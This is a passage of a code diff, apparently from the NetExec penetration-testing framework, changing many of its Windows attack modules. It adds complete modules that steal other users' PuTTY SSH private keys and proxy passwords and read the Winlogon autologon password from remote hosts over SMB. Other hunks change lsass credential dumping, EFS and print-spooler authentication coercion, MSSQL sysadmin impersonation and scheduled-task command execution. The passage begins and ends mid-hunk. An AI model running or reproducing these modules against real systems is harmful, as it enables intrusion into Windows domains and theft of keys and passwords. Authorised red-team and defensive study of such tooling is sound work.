path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
@@ -146,7 +142,7 @@ class NXCModule:
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
@@ -202,7 +198,7 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
credentials, tickets, masterkeys = Parser(file).parse()
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
|
||||
@@ -23,6 +23,7 @@ class NXCModule:
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
|
||||
+46
-21
@@ -39,10 +39,15 @@ class NXCModule:
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
@@ -87,11 +92,12 @@ class NXCModule:
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
@@ -114,19 +120,30 @@ class NXCModule:
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
sys.exit()
|
||||
elif err is None:
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
@@ -139,7 +156,16 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
@@ -148,9 +174,8 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
@@ -160,9 +185,9 @@ class NXCModule:
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
|
||||
@@ -64,7 +64,7 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(file).parse()
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
|
||||
@@ -14,7 +14,7 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = "MAQ"
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
+3
-3
@@ -3,7 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
import sys
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -49,14 +49,14 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
|
||||
@@ -42,12 +42,12 @@ class NXCModule:
|
||||
- rollback (remove sysadmin privilege)
|
||||
"""
|
||||
self.action = None
|
||||
self.context = context
|
||||
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
# get mssql connection
|
||||
self.mssql_conn = connection.conn
|
||||
# fetch the current user
|
||||
@@ -441,13 +441,11 @@ class NXCModule:
|
||||
:rtype: bool
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
try:
|
||||
if int(res):
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception:
|
||||
is_admin = res[0][""]
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
|
||||
@@ -39,7 +39,6 @@ class NXCModule:
|
||||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
||||
"""
|
||||
self.context = context
|
||||
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.remote_tmp_dir.split(":")[1]
|
||||
@@ -174,7 +173,7 @@ class NXCModule:
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -44,11 +44,11 @@ class NXCModule:
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe=self.pipe,
|
||||
do_kerberos=connection.kerberos,
|
||||
dc_host=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
@@ -194,8 +194,8 @@ def coerce(
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
dc_host,
|
||||
target_ip=None,
|
||||
kdcHost,
|
||||
remoteHost,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
@@ -221,6 +221,7 @@ def coerce(
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpc_transport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
@@ -231,15 +232,12 @@ def coerce(
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if target_ip:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if do_kerberos:
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
@@ -55,12 +55,13 @@ class NXCModule:
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
from datetime import datetime
|
||||
from io import BytesIO
|
||||
import traceback
|
||||
from urllib.parse import unquote
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "putty"
|
||||
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.rrp = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_logged_on_users(self):
|
||||
"""Enumerate all logged in and loaded Users on System"""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Filter legit users in regex
|
||||
user_objects.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
return [i for i in user_objects if not regex.match(i)]
|
||||
|
||||
def get_all_users(self):
|
||||
"""Get all users that have logged in at some point in time"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
return user_objects
|
||||
|
||||
def sid_to_name(self, all_users):
|
||||
"""Convert SID to Usernames for better readability"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
user_dict = {}
|
||||
for user_object in all_users:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
user_dict[user_object] = user_profile_path.split("\\")[-1]
|
||||
return user_dict
|
||||
|
||||
def load_missing_users(self, unloaded_user_objects):
|
||||
"""Load missing users into registry to access their registry keys."""
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def unload_missing_users(self, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
for user_object in unloaded_user_objects:
|
||||
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def get_private_key_paths(self, all_users):
|
||||
"""Get all private key paths for all users"""
|
||||
sessions = []
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
for user in all_users:
|
||||
try:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
|
||||
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Extract stored Session infos
|
||||
for session_name in session_names:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
|
||||
|
||||
# Get private Key Path
|
||||
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
|
||||
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
|
||||
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
|
||||
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
|
||||
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
|
||||
|
||||
# Session infos
|
||||
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
|
||||
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
|
||||
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
|
||||
sessions.append({
|
||||
"user": self.user_dict[user],
|
||||
"session_name": unquote(session_name),
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
"protocol": protocol,
|
||||
"private_key_path": private_key_path,
|
||||
"proxy_host": proxy_host,
|
||||
"proxy_port": proxy_port,
|
||||
"proxy_username": proxy_username,
|
||||
"proxy_password": proxy_password
|
||||
})
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Unexpected error: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
return sessions
|
||||
|
||||
def extract_session(self, sessions):
|
||||
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
for session in sessions:
|
||||
if session["private_key_path"]:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
try:
|
||||
self.connection.conn.getFile(share, file_path, buf.write)
|
||||
except Exception as e:
|
||||
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
|
||||
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
|
||||
else:
|
||||
self.context.log.exception(f"Error downloading private key: {e}")
|
||||
continue
|
||||
file.write(buf.getvalue())
|
||||
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
if session["proxy_password"]:
|
||||
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
|
||||
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
|
||||
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
|
||||
with open(proxycreds_file, "a") as f:
|
||||
f.write("================\n")
|
||||
f.write(f"User: {session['user']}\n")
|
||||
f.write(f"Sessionname: {session['session_name']}\n")
|
||||
f.write(f"Host: {session['hostname']}:{session['port']}\n")
|
||||
f.write(f"Protocol: {session['protocol']}\n")
|
||||
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
|
||||
f.write(f"Proxy Username: {session['proxy_username']}\n")
|
||||
f.write(f"Proxy Password: {session['proxy_password']}\n")
|
||||
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
|
||||
self.rrp.enableRegistry()
|
||||
|
||||
all_users = self.get_all_users()
|
||||
loaded_user_objects = self.get_logged_on_users()
|
||||
self.user_dict = self.sid_to_name(all_users)
|
||||
|
||||
# Users which must be loaded into registry:
|
||||
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
|
||||
self.load_missing_users(unloaded_user_objects)
|
||||
|
||||
sessions = self.get_private_key_paths(all_users)
|
||||
if sessions:
|
||||
self.extract_session(sessions)
|
||||
else:
|
||||
self.context.log.info("No saved putty sessions found in registry")
|
||||
|
||||
self.unload_missing_users(unloaded_user_objects)
|
||||
except Exception as e:
|
||||
context.log.exception(f"Error: {e}")
|
||||
finally:
|
||||
self.rrp.finish()
|
||||
+5
-3
@@ -83,7 +83,7 @@ class NXCModule:
|
||||
|
||||
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
|
||||
|
||||
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
|
||||
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
|
||||
if "ram" in self.action:
|
||||
# Nt version under 6 not support RAM.
|
||||
try:
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._rdp_WMI__dcom.disconnect()
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -218,6 +218,7 @@ class RdpWmi:
|
||||
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__remoteHost = connection.host
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
@@ -233,11 +234,12 @@ class RdpWmi:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
class NXCModule:
|
||||
r"""
|
||||
WinLogon AutoLogon: extract the credential from the following registry hive
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
Module by @pentest_swissky
|
||||
"""
|
||||
|
||||
name = "reg-winlogon"
|
||||
description = "Collect autologon credential stored in the registry"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
|
||||
context.log.highlight(f"{reg_key}: {reg_value}")
|
||||
except Exception:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
@@ -52,6 +52,7 @@ class NXCModule:
|
||||
self.cmd,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
@@ -77,7 +78,7 @@ class NXCModule:
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -89,6 +90,7 @@ class TSCH_EXEC:
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
